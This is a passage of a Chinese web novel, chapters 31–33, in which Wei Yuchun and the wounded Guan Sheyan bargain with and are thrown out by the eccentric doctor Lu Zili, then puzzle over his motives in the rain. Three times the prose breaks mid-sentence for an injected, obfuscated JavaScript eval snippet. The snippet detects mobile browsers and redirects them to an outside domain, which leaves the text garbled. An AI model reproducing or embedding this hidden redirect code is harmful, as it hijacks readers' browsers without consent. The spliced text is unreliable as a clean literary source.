“或者说,公子最初所受之创并非严重到难以自愈的地步,后来应是愈了何事动了筋骨,惹得旧伤又发,牵动内病险些种下难除的病根。故,此病也可能是日积月累而来的。” 关阇彦果真带入了其中,发现自己的确是在躲避追杀时,用浑身是伤的身体淋了不少暴雨,自此埋下病气。 后来伤未养好,他自顾自上山学采茶,结果昏倒下去,病气加重。近来,他在调查黑衣人时,与其周旋厮杀许久,累及病气.....这病根竟是这样一点一点埋了下来。 听陆子礼的意思,他好似来得还不算晚,这病根虽然难除,却并非没有办法根治。 “先生可有妙计?” 如是,他更信了这怪大夫。 “服下真武汤,一日三服,饭后而用,满七日即可。我去抓药,其中涵括了茯苓芍药等药材,热熬起滓,需用水煎后去掉陈滓,有些讲究。我煮下一碗给公子服用,公子需记着其温其味,姑娘则需急着煎药之法,以免药性迷散。” 说罢,他一边起身要去取药,一边报起诊费:“一味药七日量需十文,共五味,故五十文。” “五十文?!”关阇彦简直是要被气笑,传闻中积淤在体内的浊气,差点翻滚大半出去。 在南禺地界,他还是都督的时候,都未曾听说过这等骇人的物价。不过是看了一次诊,且还是不知给来的药是否真的包治病根的情况下,这五十文同漫天要价有何区别? 魏郁春亦是面露难色,她总计也就带了一串钱板,路上又耗了五六只走了,哪里填得起这陆大夫的口? 她细细琢磨起陆大夫的神色,见他面色肃重,不苟言笑,浑身的粗布芒鞋,没有一点架子,完全叫人看不出来端倪。然而他要的价钱却远比市面上的草药贵上至少两倍。 这陆大夫不像是贪财之人,更不是爱奢侈用财的人,他这么做难道真的是恃才傲物,不愿在外人面前折煞自己的医术? 若是如此,陆神医的名声又是怎么传下来的?那些镇人虽比村人有钱得多,却也经不起这么耗啊。莫非是陆大夫近来心情郁结,见着了人虽不敢走,但却把人当作了撒气迁怒的对象? 魏郁春焦躁地擦了把额汗,另一只藏在袖中的手,摩梭着绑在腰间布包的半串钱币,一边察言观色,一边心急如焚地思考该如何让陆神医息怒松口。 关阇彦却受不得这委屈,但他心里清楚当下唯有陆子礼的医术最有保障,于是故意要往外头走,想逼“奸商”松口:“不就是那捞什子的真武汤?你卖心如此黑,我不如去外头药堂中寻药方。” 谁知,陆子礼并不吃他这套小聪明。 他突然笑起来,声音干瘪而粘滞,像被浓痰包裹了一样,他笑得人浑身汗毛失控而立。 “今年暴雨突涨,淹了镇边不少山头,其中至少两味药都需去极为偏远的山头寻采,即便是送药材来镇上的别地村民,也没法跋涉这么远去寻药。这个季节患湿寒症之人颇多,往季残留在药堂子里的药材,怕是早就剩下了散了霉味儿的药渣滓。” 他笑声戛然而止,头平移似地转向关阇彦,讽刺道:“公子该庆幸今日刚巧碰到了我愿意启门见人,否则病根难去,后半辈子如何度过,我不敢妄言一二。” “若是公子和姑娘不信我的话,大可就此出门扬长而去,我不会阻拦。” 这阴森的压迫感……明明被香炉熏得暖烘烘的屋子里却骤然降冷,魏郁春合关阇彦明知这只是错觉,却还是难以抵抗压力。关阇彦无言以对,却又不甘心,只好堵着嘴巴,桩子一样杵在门跟拧眉愁目。 一向怼天怼地的他,此时因为种种事物被人拿捏,根本无法蹬腿子撒气。 而他最主要被拿捏的东西,居然是过去自己最轻视的身外之物。 魏郁春深吸了一口气,拉着关阇彦转过身,压低声线提醒他:“他这种性子既做到这般有恃无恐,恐怕是料到我们的确无路可走。莫要冲动行事。当然我们也不可全然信他的话,且看我应对。” 此时,她已经想好了对策。 说罢,她将钱串子从布包里取出来,码了大半串钱币给了陆子礼,零零散散算起来刚巧有十文,她故作叹惋:“大夫没味药分别取些给我们便可,一顿的量也成。方才你也见了,我们从村子里过来,只有这些钱物,我们急于用药不可不买,可即便全部交出去也买不了多少。只好留下路费食费在身,等我们归家去取了钱,才好再买药。” 魏郁春的态度很好,眉眼间也无不传递着条件困苦下的无奈。 陆子礼闻言怔了怔,嘴软了许多,多问一句:“你们既留下一般的钱币作路食费,莫非家乡很远?” 魏郁春听出他的犹豫,没说自己是古溪村人,干脆挑了个最远的山头报出来,言辞委屈:“哎,是啊,大夫听说过天台山么?咱家就在山脚下,那里荒废,没什么大夫郎中,一路问医,从天台山跑到古溪市集,再寻来禺山镇找神医,光过来一趟就搭了要三天两夜的车。” 陆子礼青白而死气的面容,变得愈发灰沉,居然还有些同情和愧疚之意藏在面皮之下。他重新整肃了一番气势,一言不发,抓了那十文钱就幽幽飘到了药柜前。左抓右抓,五样屉子里各取了两大把,哪里只有一顿的样子? 这次就连卖惨的魏郁春也呆住了。 陆子礼抓着五样药包幽幽飘回诊台,各抓一些撒入药壶,灌入凉水后,用火折子引了火,煎热了陶土锅,沙沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“赶快离开我家!”他毫不客气地推搡起离自己最近的魏郁春。 眼白上蔓延着越来越多狰狞可怖的血丝,密密麻麻,织成了某种捕捉恐惧的网布。 他将惶恐的魏郁春逼出屋子。 关阇彦扶住了她,才没让她在陆子礼毫无人性的推力下,从门槛处倒地下去。 “赶快离开我家!!!” 陆子礼根本不给关阇彦任何口吐毒水的机会,整个人发狂般大叫,使出了歇斯底里的气力,吼得关阇彦脸上满是唾沫。 这哪里是什么神医,分明是个疯子! 陆子礼步步紧逼,见二人退出屋子,他还不满的抓了把掉落在院中的粗树枝,追了上去,白着脸红着眼,他病瘦般的身杆子突然有了神武大力,发狂地朝二人挥舞。 关阇彦身子虚浮无力,整个过程懵懵然地护着魏郁春后撤,说话的功夫都空不出来。等到反应过来的时候,陆子礼已经紧紧锁好了茅草院的木门。 外面的雨骤然而下,凑巧得很,好像是故意来看他们二人的笑话。 他们二人站在面对木门的青石阶上,面对浓云翻滚的天际,一时竟不知接下来该如何是好。 若不是天色又黯淡了几分,他们甚至以为自己突然回到了几个时辰前的起点,以为自己不过刚刚寻到陆子礼的家,在他门前踟蹰徘徊…… 一天又要结束了,丢了十文钱却没有拿回来药,他们若是回去不仅是一事无成,更会遭受太多村民的非议。 一个月的时间其实很短,可凶手还逍遥法外,半点踪迹寻不着。唯一的帮手在此时一身病症难以消退。 在阴冷气氛的诱引下,魏郁春差点就要崩溃,她开始认为,偏偏所有事情都如此不如意而无厘头,老天为何偏偏待她如此不公…… 31. 强词夺理 在木门铿锵合上的那一刻,扫出的门风将细雨扑落到魏郁春和关阇彦的全身。 魏郁春女儿家皮嫩如水,如针的雨脚好似一记伴着掌风飞来的耳光。她眼眶湿红,落魄地提着明明也是湿着的衣袖抹了把湿漉漉的发面,将挤压在心中的那口对天而忿的长气吐出,移步要走。 关阇彦用身子横住她的去路:“去做什么?” “回家,”魏郁春抬起的黯淡无光的眸子里倒映着满天昏暗。 关阇彦冷笑道:“哼,我真不知道该说你心性坚强如磐石,还是说你脆弱如累卵。” “他拿了我们十文钱,却什么都没给,你便要这么放过了他。凭什么就这么走了?你心里咽的下这口气?” 魏郁春闪了闪目光,淡声说道:“如今夜幕降至,再迟便回不去古溪村。陆子礼虽一身瘦骨,疯癫起来谁都不饶,我斗不过他,你如今伤势灼心,但凡多动几分真气,病就种了根。即便没有病根之忌,这里也不是无人问津的古溪村,而是人烟茂密的禺山镇。一旦打闹争执起来,势必引来更多非议。你真以为还和之前那样,说打就打无所顾忌了?一味咬着此处不放对我们有何好处?” 关阇彦敛眸抿唇一二,旋即抱胸,重新抬起的眼中抹了几层讥诮之色:“自以为的权衡利弊,不一定都是对的,至少对于我来说不是。” “我先前一直觉得你这女子冷漠执拗,任谁都无法欺负了你。可总觉得哪里怪怪的,很矛盾,相处这么久下来才看清,你的冷漠执拗不过是粉饰着外表,搭上你同样内核的小聪明,不知道的蠢货就真以为你威风八面、自持霸气了。但你瞒不过我,我知道你只是靠着这些表面东西,希冀有畏惧之人不敢冒犯你而已。” 他继续说着,话音越来越讽刺:“山外有山,人外有人。终有事情你应付不来,譬如古溪村黑衣人之事。有些人你也挡不住,譬如今日的陆子礼。这些你挡不住的东西过来冒犯了你,你找不到解决法子,用所谓的权衡利弊,掩饰心虚和无力,最后想到的居然仅仅是抓紧当起了逃兵。你以为这算是威风霸气了么?” “若是我,我不仅要外表威风,让人闻风丧胆,惹不起我。倘若有不知天高地厚的家伙犯我,我便要用尽一切办法记住他的所作所为,不管多久多累,我都要把他得罪我的地方通通报复回去,事到此才堪堪算完。这才叫霸气。” “而不是像你这样一只自诩清高的挡风竹子,仅仅把遇到困难不愿倒下当作强悍。不去解决不去报复,这是孬货。” “你不是知道自己无路可走了么?那你要是就这么回了古溪村,才是什么都没有了,一切都要重来,你甘心?你不想成为留在此地,把陆子礼报复一顿的人吗?” 关阇彦的问话一次又一次直入她的心灵深处,回望重来一世后的种种,她恍然梦醒,自己的确一直把前世的枉死当作鞭策自己成长的案底,她以为自己至今的表现已经超脱尘往、涅槃成了新的自己。 可她真的不懦弱了么? 如果真的是这样,她为什么还要继续放任那些耿耿于怀的事物在内心作梗? 前世那些危害自己和母亲的恶人们满脸可怖的讥笑、浑不在意的冷视……现今古溪村一直骚扰自己的地痞流氓们死不悔改的恶行、妄图报复的丑恶心理。 她不在乎便好,可是她真的忘不掉,她讨厌这些人丑恶的嘴脸,她恨自己被害消逝的性命迟迟得不到伸冤,忧虑千辛万苦保下来的母亲是否安康幸福,是否还思念着下了地府的女儿。 如果她有关阇彦这样的心性,一边保留本心生活,一边为了自己更好的生活或为了保护自己和更多的人,积极反抗,总有一天会消灭所有埋在心中的顾虑。 何人敢犯我? 何人又值得我恨之入骨? 她或许不该将复仇当作自己所有的一切,否则毁了心性,但她至少不该被驯服成这样,只知承受,不知反抗和报复。若有机会,她不会放弃了,而是要亲手拿起屠刀,将自己恨之入骨之人凌迟而死。 若无机会,她就心里记着这份教诲,面对厌恶至极之人,出手反击。 关阇彦说得没有错,但她终究和他不同,女子之身注定了能力受限,隐忍居多,做事只好多有保留。她可以去做另一种人,不一定非要极端地完全效仿他的所有。但自己现在又不是孤身一人,根本毫无顾忌的必要! 她灵智极慧,短短时间内,就将关阇彦的讥诮之言转为了自己理解出来的感悟,与己身融为一体。 魏郁春丢了光彩的钝目忽地生出一对炬点般的火光,她提了提心胆,身子也挺拔了许多。 “你说得不错,我们该留下来细想对策,便是踏破门槛,我也有我的公道要讨,何须在意外界的困扰?” 关阇彦没料到她的转变如此之大,他觉得即便对方听劝,至多也只是表面先决定留下来想对策。 他哪里想到,魏郁春沉声半刻,腾地出口便是雄风万丈的“踏破门槛,何须在意”? 他忽地从这浑身迂腐书卷气的姑娘身上,看到了英姿飒爽的作风,真是稀罕。 她成功让他有了新的见解。 “有些意思。”他不掩饰心中震撼,信手摩梭着臂肘,拧眉笑想。 一开始,二人的念头不谋而合——关阇彦虽然身虚,但不至于真就这么虚到最后,只要有一定的时间休息,他便能恢复至少一成的功力,翻翻墙抢东西不在话下。 说实话,他们至多是抢走该属于他们的药材,一不劫财,二不劫色,论起道德,他们没什么好忧心的。于是一贯正人君子作风的关阇彦和魏郁春,对此念头,都表示出了毫不犹豫的认同。 他们移步至甬道,后悔着出门前没有准备纸伞,本想再回王二郎蒸饼铺歇息观望。乍听背后茅草院熟悉的吱呀木门声,他们迅速止步后望。 真不知道那陆子礼究竟是人是鬼,不过移眼间,他的身形早已似鬼魅般遁去,连残影都留不得半片。唯有被他启过的门锁还在咯吱咯吱地晃响。 除此之外,还有一块刚落了墨的湿木板,雨水不留情地拍打着木板上的墨字,刹时间成了模糊一片的灰色。 魏郁春紧张地返步回去,生怕晚一步,便看不见木板上的东西。 木板上的字体用墨钻刻死板,俗话说见字如面,这些墨字是完完全全映衬了陆子礼的为人。 虽然新落的墨水被冲散了很多,但魏郁春还能依稀凭借其中的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447374|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廓,分辨出字体的样式,本该稳重的笔力略显慌散,即便如此,书写者还是坚持将其写到标志。陆子礼这个怪人,不仅偏执疯魔,还十分刁钻迂腐。 陆子礼学识广泛,书写之语皆为中晋通行汉语,语句很短。魏郁春眼睛快速飘过,将它们直接复述了下来:“两不看:入夜不看,落雨不看。若急需帮助,待雨停天明时分,随缘而见。若有硬闯者,我必寻来里正讨要公道。” 此处毕竟比古溪村那样的小山落人多富裕,有个什么镇人自己选举出来的里正父老,代管簿集和村镇大事,也是常事。 关阇彦见她语音快速,注意力略有偏移,将早就怀疑的问题抛出。 “你一个南禺古溪村人为何对汉文如此熟悉?其他村人未见过有通此处的本事,你从前也并不出门户,你从何处学来这些,还有本事靠此授学?” 魏郁春无暇顾及他的怀疑,随意编排出无心之语,搪塞过去:“以前痴傻,大厄之时,梦中金光大现,有一掩面仙人言说曾错将我的智穴点堵,特来赔礼。我想那仙人是汉人出身,解我智穴时干脆送了我一套汉文学识。” “……所以?”关阇彦笑住了。 魏郁春面无表情:“我醒来才知大梦散去,我记着痴傻前的种种,也有了新的神智。那仙人目达耳通,有滔天本事,教会我一通汉人本事,给我之了一条家中变故后还能养活自己的路子。” 她是仗着关阇彦再聪明,也刁钻不到她是借尸还魂之人的点子上,胡编乱造已是客气,他若不信就随他不信去。料想他也闹不出什么花样。 听完她一通怪诞之语后,关阇彦先将眉头拧作一团,后而大嗤:“当我是三岁稚儿?若真如你这么说,那仙人定是个妖魔鬼怪,要不是他给你指了这条路,你也不会被黑衣人当作诬陷目标吧?” 魏郁春思索着陆子礼的事,哪里顾得上他的冷嘲热讽。 “先前分明是你说那群来历不明的黑衣人若有心构陷于我,本就有千百种法子。你说的那一条不过是其中一个可能性而已。有什么可多说的?” “你真会强词夺理。” “彼此彼此。” 自从放宽胸性后,魏郁春说话的胆子也开放了很多,她现在好不容易话多起来,说出来的味道一嗅,竟有些被关阇彦的毒嘴同化的趋势。 关阇彦知道现在再怎么骗话,都刺探不出她的底,自然识趣地把注意点放到陆子礼展示出来的木板上。 脸上露出一个不太友好的狞笑:“这分明是针对我们的。他把过我的脉,知道我只要有心等待,必能蓄力与之争斗,且必斗得过他。他料到了,心中不安,故意弄出这木匾威胁恐吓我们。若是事情闹开,以他陆神医的名气和手段,我这病怕是一辈子都别想看了。” “还真是难为他,宁愿多写几个字挂匾子吓唬旁人,也舍不得把那些药材直接挂出来给我们。他这麻烦可是自找的。” 他的笑变得越发阴恻,配上他不太好的气色,魄力更上了一层楼,他身侧的魏郁春都忍不住打了个寒颤。 在他拳头越攥越紧的时候,魏郁春却发了话:“可能事情还没有表面上表现得这么简单好懂。” “什么意思?” 32. 七窍玲珑 在天地四面八方皆被晦暗潮湿的幕布笼罩的时候,连影子都被磨得没有边的魏郁春,眼神是那么明亮,有云开见月之意。 她话音稳重:“我只是觉得很矛盾。如果陆子礼他真心要诓骗我们的钱财,方才在屋内,他又为何因我的话感触颇多,将那些药材都要抓来,最后要走的也仅仅是十文钱。” “他本就是个疯子,说不定只是装装样子。” 关阇彦嗅出一丝魏郁春要帮陆子礼说话的气味,第一个反应就是大写的不乐意。也不管她说得对不对,脑子动都不屑于动一下,抛出去就是这句愤懑之言。 魏郁春本就头疼,碰上个这么会使性子的搭档,简直更要命。 她那云开雾散的明眸,霎时间又暗了几分回去,当即打断他:“我不知你先前是何等尊贵的身份,养出了你这般骄纵的性子。但现在,你只是个受制于人的病秧子,能不能好好降下你那高架子,认真解决问题?” “至少别添乱。” 见关阇彦又要拨舌,她这么惜字如金的性子大方地多说了一句:“我承认你方才点拨我的那番话很有用,但那些并不适用于一个处处受制于人的弱者。” 关阇彦语塞,但细想自己的确纵得厉害,先前是有人畏他,如今任一只野巷子里的阿猫阿狗也敢挑衅他。今昔不同往日了,他的确需要变通一二。 奇怪了,他干嘛要这么听她的话?他大惊。真是莫名其妙。 此时,魏郁春冷静的话音又起:“如果他装疯卖傻,诓骗钱财。早在最开始,他就不可能只拿了我们十文钱。可如果他并非真心要与我们作对,关门之后,他本应该把抵在他那边的药材都给我们,哪里来的闲心专门写了一只匾子给我们看?” 关阇彦思索一二,将欲要说什么,哪知是和魏郁春一同说出的:“除非,这只木匾不只是给我们看的。” 魏郁春深呼吸一口气,回忆不久前和陆子礼打交时的细节:“还记得之前陆子礼和你说的话吗?他说‘公子该庆幸今日刚巧碰到了我愿意启门见人’。” “近一个月来,湿病遍行,作为陆神医的他,名声在外,穷人不提,富人惜命,第一时间来找的就是他。可他为何要说这样的话?我瞥过他收拾药草的木屉,里面药草丰沛,好似一直无人动用。说明,我们或许是近来第一个登门拜访他的人。” “他作风怪诞,先前无人异议他,也本是因为镇上人人皆知神医一段悲伤往事,不管是富是穷都无人敢叨扰他。我们这是犯戒而不自知。陆子礼恐怕也不知道,或者无暇顾及外人对他下的这种定论,在没破规矩的情况下,依旧接了我们的客。然后因为这场继续下的雨,陆子礼突然发怒,将我们赶出来。” “他这张木匾摆出来,是因为他知道了往年这段时间无人打搅他的真正原因。今年像我们这样既穷,又远在外乡不知风声的意外寻过来,他就意识到最好还是得告知外界自己的戒数。” “总之举个例子就能明白了。如果一个患病者贫穷,听说了陆神医近来郁闷,还听说请他看病的人都是花的大钱。穷人不知这人是穷是富,久而久之,便觉得神医心情不好就坐地起价,穷人本就心里没底,寻常小病,比起找厉害的神医,随便寻个卖药铺子解决更方便。如果是大病,走到哪里都是大价钱,穷人就更不会去找会坐地起价的神医了。” “说白了,其实就是人心惯常的念头一多,无厘头或者下意识的念头也成了要处处规避的风险。时间一长,这些也就成了定论。” “不过,陆子礼是见着了我们才意识到这些问题的。” 她有七窍玲珑之心,竟对那些极小的细节也能明察秋毫,便是朝廷大理寺之流都难以人人具备她这般巧心。随着心中线索越发明晰,她的眉头也舒展开来,连绵细雨将她的脸冲洗得光亮,好似泛着透亮的光,如刚出窑的玉瓷。下雨时难避闷热,她玉瓷般的面旁渐渐晕出一抹微红。 古溪村地痞流氓对她屡屡冒犯,皆因她这一张令人垂涎的面皮。 关阇彦对此其实总是愚钝不开窍,说起来,这还是他为数不多一次对年轻女子的面貌由衷感叹。 外人垂涎他宗族之势,仰慕他绝艳容貌和举世无双的英勇谋略,不提贵人之女,便是皇亲国戚对他抛媚求欢,长得再貌若天仙,他都嗤之以鼻,也无心顾及她们的雕虫小技。 他活了二十年,好似从未对什么样的女子上过心,就连父亲母亲都觉得他们这是生了个脑袋里只有家国功勋的榆木和尚。 后来,在他十九岁时,他替父征战北疆而归,父亲拿着不知埋尘多少年的发霉婚书,嘴上叨叨着什么老祖母为他请的“皇亲”,强逼着他去娶捞什子的未婚妻。 更可怕的是,五年前,自己不过和人家及笄小女一般的年纪时,父亲母亲就提议过要去朔州府探亲,还逼着他和一帮女眷打好关系。 当时,他红着脸,心中大骂成何体统!还奇怪着爹娘这般死守规矩之人为何有这么奇怪的要求。 如今一看,呵呵,这如意算盘,早就打好了。五年前朔州府之游,哪里是什么探亲,明明就是卖儿子! 他心中嗤笑,这皇亲落灰了多少年,他自己都不知道,定是父亲深知他性子骄纵顽劣,一旦叫他提前知道,他必有百种办法把家里家外闹得鸡犬不宁,立马退亲。 这不,掐着点,他一回来,就要给他打包过去给什么朔州府的魏家当夫婿——什么狗屁魏家,他甚至听都没听说过,也不知道是什么野户。 这话他是当着他爹娘的面骂出来的,当场就被关老将军打地差点腿折,是关夫人跪求老爷放过儿子,他才侥幸逃脱父亲魔掌,拖着半残的腿跪进祠堂,对着老祖母的牌位跪了三天三夜。可惜,他心中还是毫无悔意。 之后他为何会同意,还要从父亲某日严禁外人出入院中时秘密唤他进书房,对他说的这番语重心长的话说起。 “彦儿,爹娘知晓你心有怨言,可有些东西并非你想如愿便能如愿得了的。皇亲落纸之年,你尚未出世。那时南禺局势不稳,多数叛贼使邪潜入中原残害无辜百姓。我率军大破敌势,屡立战功,被封右军右都督。我关家百年基业越发辉煌,权势拔高,百姓爱戴。” “圣人疑心极重,最忌民心涣散、国势动荡,对我关氏早有不满。若无皇室内有我关氏交好之人暗中透露消息,关家早就会被做下手脚,落下罪名,百年基业顷刻瓦解。” “那时是你年过古稀的老祖母亲自北赴京城,跪求皇上赐婚。魏家是你祖母的不二之选,外人不知魏家主母乃是你姨母的远亲姑姑,关家若与之联姻,虽大权旁落,却能互相有个照拂,无人敢再对关家做手脚。” “圣人见白发老者抹泪而跪,声泪俱下,必会心软,于是应下了这门亲事。如此,他明知魏家不过是个在朝中无权重的书香小门,一旦关氏嫡系子弟与之联姻,便不可能再与其他氏族连结,动摇皇基。此不失为一大制衡之术。圣人于是定不再忧心要如何对关家下手。” “你此次又立战功而归,你只知皇上为欢民心将你封为安南大都督,却不知他心中的怨言深不见底。这亲事再拖不得了。最迟明年春上便要定亲。” 关老将军被岁月腐蚀地越显浑浊的双眸,渐渐被湿泪盈满,他负手而背,仰天长叹。 “至于为何要打你,你也需明晰。你老祖母为你求那场亲事,几日几夜的奔波,那时正值寒冬,古稀之年经不起折腾。亲事定下后,老人家悬心而落,于京城阖目而去,尸骨在他乡寒下。你怎可那般妄言?” 关阇彦沉默了,摆落在身侧的双拳紧了松,浊气闷胸,他黯眸后双膝跪下,拱手于地,沉声而道:“孩儿知道了。” 只可惜,“明年春上”的日子已在眼前,他却沦落他乡,重伤在身,亲信之死未得鸣冤,暗杀他的凶手还有古溪村的幕后真凶一切都还是谜……他这时候才顾得想起还在朔州府的未婚妻,头疼不已……不禁忧虑,爹娘那边状况可还好,他们是否派人来寻他,还有圣上那头是怎么交代的…… 一丝雨点飘入他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447375|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因失神而不动的眸子,凉意入骨,把他唤醒,他的视野又被长着一张漂亮白瓷脸的魏郁春占满。 说起来,这个女子认真思考钻磨某样事情的时候,总是给他一股熟悉感,他一时精力不济,怎么想都想不起来了。 他俯首盯着魏郁春被雨水彻底打湿的发旋,应上去:“照样奇怪。他干脆不接客好了,拿这些匾子规矩故弄玄虚个什么劲儿?” “陆子礼恐怕有什么难言之隐,否则怎么解释他的这些动机,”魏郁春奇怪道,“他既不希望有人破了匾子上的戒,也不希望无人来寻他看病。” “真是个疯子……等等,”关阇彦突然顿住,“我可能知道他心系于什么了。” “什么?” “若按你那么解释,他虽然不清楚外界对他的定论,但多半也会跟着规律走。他的名声和过往如此有名,容易引来的也多半不是普通的家伙。他见愿意找他的多是富人,便以为我们也是惜命如金的富人,所以漫天要价了。他看人下菜惯了,结果听你卖惨一番,反而将正常的药钱砍了半。我不知道他是不是靠这个劫富济贫,但知道他很在乎钱。即便他视戒如命,却不希望无人来寻他看病,而这种人要么和往年一样别出现,要么最好是能任他宰割的富人。” 魏郁春倒吸了一口气,发现自己越来越琢磨不透陆子礼,他人性这么复杂,她对他又知之甚少,实在难以判断。末了,她小心翼翼说道:“从他面相和对我们态度上看,断不是贪婪揽财之辈。” “那就是缺钱。” 关阇彦不假思索地说道,然后微微抬首,看向被木门隔开的茅草院,寂静安谧,甚至有种别样的美,但这些都无法遮掩其破陋贫困的事实。 “他敛那么多财都去干些什么呢?”魏郁春不禁疑问。 “但至少证明了他大可能不是故意不还我们东西的人。” 她将被雨淋塌的发髻散开,浓黑油亮的乌发散落下来,略显凌乱地别在胸前。 她重新往甬道蹚水过去,甬道深陷于大雨,几乎淹没了她半只小腿,走过去时显得艰涩,鞋底还沾了湿泥。 她背着身子对关阇彦提醒道:“还是先回去避雨吧,已经越下越大了。” 虽然陆子礼在她心中的形象已经变得愈发离奇,可到底还是让她松了一口气。因为陆子礼的意思已经很明显了,或许等雨停了,没再破他的戒,他就会照常启门,把东西归还来。 至于让关阇彦恢复一些体力,与之大战三百回合的计划,还是搁置脑后比较好,她可不希望和禺山镇的镇人和里正闹起争执。 唯一可惜的就是,有了这样的决定,今日就断不可能回家了,也不知道爹娘和巧儿会不会担心她了。还有,那些黑衣人真的不会返回村中行凶了吗? 她不放心,看到关阇彦忙问,语气焦虑:“你先前意思过,那些黑衣人最后的动机有鱼死网破之意,即便他们还有人活着,也不会再回来了对吗?” 关阇彦喉声紧了紧,然后无奈道:“因为你妹妹还活着,若还有藏在暗中未被我杀死的黑衣人存在,他们就会有回来的一天。” 魏郁春的脸色煞那间就黑了。 结果,关阇彦话音还没落:“索性可能性不大,因为你已经被他们嫁祸成功了,若再回来绑你妹妹,他们致力于隐瞒身份的大计岂不是功亏一篑了?” 魏郁春变黑的脸色有愠红了起来,直呼其名起来:“关贤齐,话说一半的毛病你早该改改了。” 早晨她也被他这个毛病祸害过,事后此人还没脸没皮地问她——“不是吧,你真的被我气哭了?” 简直是罪无可恕! 关阇彦还在不以为然地耍嘴皮子:“你现在更应该担心的是我的安危,即便黑衣人真要回来,你我都能回村,我这体力不济的,帮倒忙不说,一起把命赔进去也不好说哦。” 当真是嘴毒无比! 魏郁春的扯出个僵硬的笑,想着罢了,若不是这厮还有用,自己何须忍气吞声照顾他这死脾气?! 33. 童鬼夜哭(1) 蒸饼铺的王二郎还在睡梦中徘徊,完全不知道好不容易送走的二位大爷又跑回来躲雨了。这场雨时大时小,就是没有要停的意思。 夜幕降临,阴云密布,月星皆成了羞答姑娘,躲在闺阁中不肯见人。躲在草地里的田蛙跑出来蹦跶,蛐蛐儿也摩擦起翅膀上的声锉,“唧唧唧”地叫唤个不停。二物在人看不见的潮湿角落玩着蛙蛐和鸣的戏码。 若不是关魏二人还吊着眼清醒着,还以为挂在腰间的草编蛐蛐被类似什么金光大仙施法活了过来。幸好魏郁春下午吃得够饱,直到现在都没什么要进食的欲望,反倒是困意席卷,惹得她双目直转星星,不知道的,还以为是天上没了影儿的星星掉进了她的瞳孔。 她的视线穿过幽幽甬道,其中陷着的雨塘越显深暗,里头潺潺地不知流动着什么,好似兀自变作了真正的溪流。 又不知过了多久,周遭除了茅草院皆点了少则一盏灯火,王二郎把觉睡了个够,醒来后生怕爹娘看到了要挨骂,急急忙忙把吊窗合上,在里头点亮了一盏油灯,呼哧呼哧亮黄着,将王二郎咋咋呼呼的举止全部倒映在窗纱上。 魏郁春百无聊赖,瞥眸一看影子的窘样,失神而笑。 可等眼神转到关阇彦身上时,发现他竟然用胳膊撑着半边脸,阖眸睡上了,凑近细听,居然还有匀净的呼吸声。看来是真的累着了,有人靠近他都没什么反应,对他这种爱疏远警惕他人的性子来说,委实难见。 她对此不做停留,继续将注意力放回了甬道对面已经没入黑暗的茅草院,直到现在,里头还是一点动静也没有,光点也不留……陆子礼在里头都做些什么事情? 难道说这院子还暗藏玄机,他是从什么密道里跑了出去了? 罢了,想再多也没用。今日是没有任何机会了,但愿这场雨在明早就停,不,最好是天一亮它就停了的好。她没有想到自己还有这么讨厌下雨的一日。 王二郎撩帘见魏郁春和关阇彦这二尊大佛还在此处,差点一个趔趄滑倒过去。 他巴不得赶快送走二人,就是苦于没有理由。可他掐指一算,都快到亥时了,他得关门歇业,可不就是正当理由么? “二位客官!小店要关门了,二位先离去吧,我这还要收拾桌子回去呢,不然受一夜雨潮,我这木桌木椅的岂不是霉透了!” 王二郎扯了扯搭在肩上的发巾,直接撩起一头擦了额汗,装作一副不容易的惨样。 这次他既没有出言不逊,也没有动手动脚,魏郁春本就没有理由不听人言。只是,离开后,她和关阇彦晚上得待哪儿去? 王二郎看出魏郁春的窘意,但他毫无要宽言的意思,结果眼睛微移,就看到女子身侧方才还撑着下巴熟睡的男子,正抬着下巴好整以暇地看着他。 王二郎登时起了一身的鸡皮疙瘩,哆哆嗦嗦地就补了一句:“嗐,我看你们二人是想找陆大夫的吧!陆大夫每年一到这段时间就脾性不定,镇上人都不敢随便找他,外乡人一般也碰不上需要神医出手的大病。你们二人偏偏既是外乡人又有不得不找神医帮忙的病症,时间还偏偏不走运地选在这个节骨眼儿上!可叹可叹啊!” 爹娘干铺子时,他就一直当小伙计,以至于当惯后爱和旁人扯动扯西、说不到关键点子上的毛病怎么都改不掉。 还好他因为畏惧关阇彦魄力,单单敢闲扯了几句,之后就说了最有用的话:“我悄悄告诉你们啊,陆大夫茅草院西侧,有一片小竹林,里头有一间茅厕,砖头砌的,嘎嘎挡雨!” “茅房?!” 关阇彦坐不住了,他的眉头已经快拧成了麻花,因为他虽然在外头没多大讲究,但也不至于什么都不在乎,将此等污秽之地当作挡雨之地,一呆还要呆一个晚上,怕是第二天起来浑身都腌入味儿了! 他誓不同意! 魏郁春的神色也不好看,她勉强保持镇定,问王二郎:“没别的地方了么?” “有是有,甬道对面巷子有老街客栈,就是二位瞧着也不大有钱……”王二郎被问得为难。 魏郁春忍了忍腹中翻滚的不适,勉强扯笑,心想:“罢了,即便真有钱住进了客栈,也无法尽快得知外头的天象。梅雨季的雨走走停停,下得久,等个空当其实很不容易。” 